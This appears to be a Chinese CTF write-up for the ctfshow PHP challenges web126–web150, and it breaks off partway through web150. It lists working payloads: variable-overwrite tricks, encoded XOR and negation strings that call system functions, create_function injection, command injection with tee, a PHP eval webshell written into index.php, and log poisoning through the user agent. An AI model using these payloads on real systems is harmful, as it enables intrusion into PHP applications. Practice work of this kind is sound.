web126 与web125差不多
1 2 get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web127 绕过方式和web123一样。 payload:
web128 考察点:gettext拓展的使用 在开启该拓展后 _() 等效于 gettext() payload:
1 ?f1=_&f2=get_defined_vars
web129
1 2 stripos(string,find,start) 返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回FALSE。注释:字符串位置从0开始,不是从1开始
看别人的wp绕过的姿势有很多啊,但是怎么一到我这里就失灵了啊。只能用php伪协议 payload:
1 ?f=php://filter/|ctfshow/resource=flag.php #也可以用其他的过滤器
web130 PHP利用PCRE回溯次数限制绕过某些安全限制
1 2 3 4 5 6 7 8 import requests url='#url' data={ 'f':'a'*1000000+'ctfshow' } r=requests.post(url=url,data=data).text print(r)
或者 数组绕过
1 f[]=1 #stripos应用于数组的时候会返回null,null!==false
或者
/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。
web131 1 2 3 4 5 6 7 8 import requests url='#url' data={ 'f':'a'*1000000+'36Dctfshow' } r=requests.post(url=url,data=data).text print(r)
web132 一打开网站我都惊呆了,好高级的感觉。然后访问robots.txt有/admin访问就能看到源码。 啊~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 这一题好简单啊。
1 $code === mt_rand(1,0x36D) && $password === $flag
只要让这个为false,username=admin和code=admin就行 payload:
1 ?username=admin&code=admin&password=1
web134 parse_str()函数
ectract()函数
1 php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 四个变量的介绍: 1.$_SERVER["QUERY_STRING"] 说明:查询(query)的字符串 2.$_SERVER["REQUEST_URI"] 说明:访问此页面所需的URI 3.$_SERVER["SCRIPT_NAME"] 说明:包含当前脚本的路径 4.$_SERVER["PHP_SELF"]
例如
1 2 3 4 5 6 7 8 9 http://www.xxx.com/?p=222 (附带查询) 结果: $_SERVER["QUERY_STRING"]==>“p=222”; $_SERVER["REQUEST_URI"] ==>"/?p=222"; $_SERVER["SCRIPT_NAME"] ==>"/index.php"; $_SERVER["PHP_SELF"] ==>"/index.php";
payload:
1 ?_POST[key1]=36d&_POST[key2]=36d
web136 跟着大佬学到了好多啊 在linux里可以用tee命令读取标准输入的数据,并将其内容输出成文件 payload:
1 2 ?c=ls /|tee 1 #把根目录里的内容写进1文件里 ?c=tac /f149_15_h3r3|tee 2
web137
1 call_user_func — 把第一个参数作为回调函数调用
考察调用类中的函数
1 2 3 php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法.
payload:
1 POST:ctfshow=ctfshow::getFlag
web138 相当于把冒号禁用了,但是call_user_func还可以传数组 第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。 payload:
1 POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139 太难了,脚本看不懂,以后有机会了再做
web140 可以看到只要我们让intval($code)为0就可以了 intval会将非数字字符转换为0,也就是说 intval(‘a’)==0 intval(‘.’)==0 intval(‘/‘)==0 所以方法就挺多了 payload:
我感觉随便搞一点函数放上去都可以。
web141 传入的v3必须是非单词字符无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本) payload:
1 ?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-
web142 emmmmmmmmmmmm,让我太奶来都会做 payload:
web143
1 ?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
web144 对v3的长度进行了限制,所以在v2上下手 payload:
1 ?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1
web145 可以用三目运算符
1 eval("return 1?phpinfo():1;"); #这是可以运行的
payload:
1 ?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
web146 过滤了:没办法用三目运算符,可以用等号和位运算符\
1 eval("return 1==phpinfo()||1;"); #这也可以运行
payload:
1 ?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||
web147 具体原理看这个
1 2 3 4 5 6 7 create_function('$a','echo $a."123"') 类似于 function f($a) { echo $a."123"; }
payload:
1 2 GET:?show=}system("tac flag.php");/* POST:ctf=\create_function
web148 没过滤异或还可以用异或 payload:
1 ?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
web149 预期解是条件竞争,可是我搞了半天也不行,就直接在index.php里改了 payload:
1 2 GET: ?ctf=index.php POST: show=<?php @eval($_POST[a];)?>
然后用蚁剑连接。
web150 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
非预期 日志文件包含写一句话 修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。 首先访问index.php 修改user_agent为